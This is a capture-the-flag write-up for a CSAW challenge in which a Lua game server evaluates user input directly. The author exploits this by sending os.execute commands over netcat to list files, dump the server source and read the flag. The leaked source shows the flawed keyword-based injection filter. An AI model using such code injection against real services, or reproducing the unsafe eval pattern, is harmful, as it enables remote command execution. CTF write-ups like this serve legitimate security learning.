Rating:
# Aul
If we invoke the `help` command, we can notice that the interpreter is `lua`:
```
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
help
help
LuaS�
[ .. SNIP .. ]
```
If the command is evaluated directly, this should work too:
```
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
io.write("Hello world, from ",_VERSION,"!\n")
io.write("Hello world, from ",_VERSION,"!\n")
Hello world, from Lua 5.3!
```
Now we can execute arbitrary command, we read the challenge code and the flag:
```lua
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("cat server.lua")
os.execute("cat server.lua")
-- http://www.playwithlua.com/?p=28
function make_board(size)
local board = { size = size }
setmetatable(board, { __tostring = board_tostring })
for n = 0, size * size - 1 do
board[n] = 0
end
return board
end
function populate_board(board, filled, seed)
local size = board.size
if seed then math.randomseed(seed) end
filled = filled or size * size * 3 / 4
local function rand()
local c
repeat c = math.random(size * size) - 1 until board[c] == 0
return c
end
if filled > 0 then
for _,v in ipairs{'a','b','c','d'} do board[rand()] = v end
for n = 1, filled-4 do
board[rand()] = math.random(4)
end
return fall(board)
end
end
function board_tostring(board)
local lines = {}
local size = board.size
for y = 0, size - 1 do
local line = "|"
for x = 0, size - 1 do
line = line .. " " .. board[x+y*size]
end
table.insert(lines, line .. " |")
end
return table.concat(lines,"\n")
end
function fall(board)
local size = board.size
local new_board = make_board(size, 0)
local function fall_column(col)
local dest = size - 1
for y = size-1, 0, -1 do
if board[y*size + col] ~= 0 then
new_board[dest*size + col] = board[y*size + col]
dest = dest - 1
end
end
end
for x=0, size-1 do
fall_column(x)
end
return new_board
end
function rotate(board)
local size = board.size
local new_board = make_board(size, 0)
for y = 0, size-1 do
local dest_col = size - 1 - y
for n = 0, size-1 do
new_board[n*size + dest_col] = board[y*size + n]
end
end
return new_board
end
function crush(board)
local size = board.size
local new_board = make_board(size, 0)
local crushers = {'a','b','c','d'}
for n=0, size-1 do
new_board[n] = board[n]
end
for n = size, size*size - 1 do
if board[n-size] == crushers[board[n]] then
new_board[n] = 0
else
new_board[n] = board[n]
end
end
return new_board
end
function rotate_left(board)
return rotate(rotate(rotate(board)))
end
function readAll(file)
local f = io.open(file, "rb")
local content = f:read("*all")
f:close()
return content
end
function help()
local l = string.sub(readAll("server.luac"), 2)
writeraw(l, string.len(l))
end
quit = false
function exit()
quit = true
end
function run_step(board)
local cmd = readline()
if(string.len(cmd) == 0) then
exit()
return nil
end
-- prevent injection attacks
if(string.find(cmd, "function")) then
return nil
end
if(string.find(cmd, "print")) then
return nil
end
local f = load("return " .. cmd)()
if f == nil then
return nil
end
return f(board)
end
function game()
local board = populate_board(make_board(8))
repeat
writeline(board_tostring(board) .. "\n")
local b = run_step(board)
if quit then
break
end
if b ~= nil then
board = b
board = fall(crush(fall(board)))
else
writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n")
end
until false
end
writeline("let's play a game\n")
game()
```
```
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("ls")
os.execute("ls")
flag run.sh scripty server.lua server.luac
```
```
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("cat flag")
os.execute("cat flag")
flag{we_need_a_real_flag_for_this_chal}
```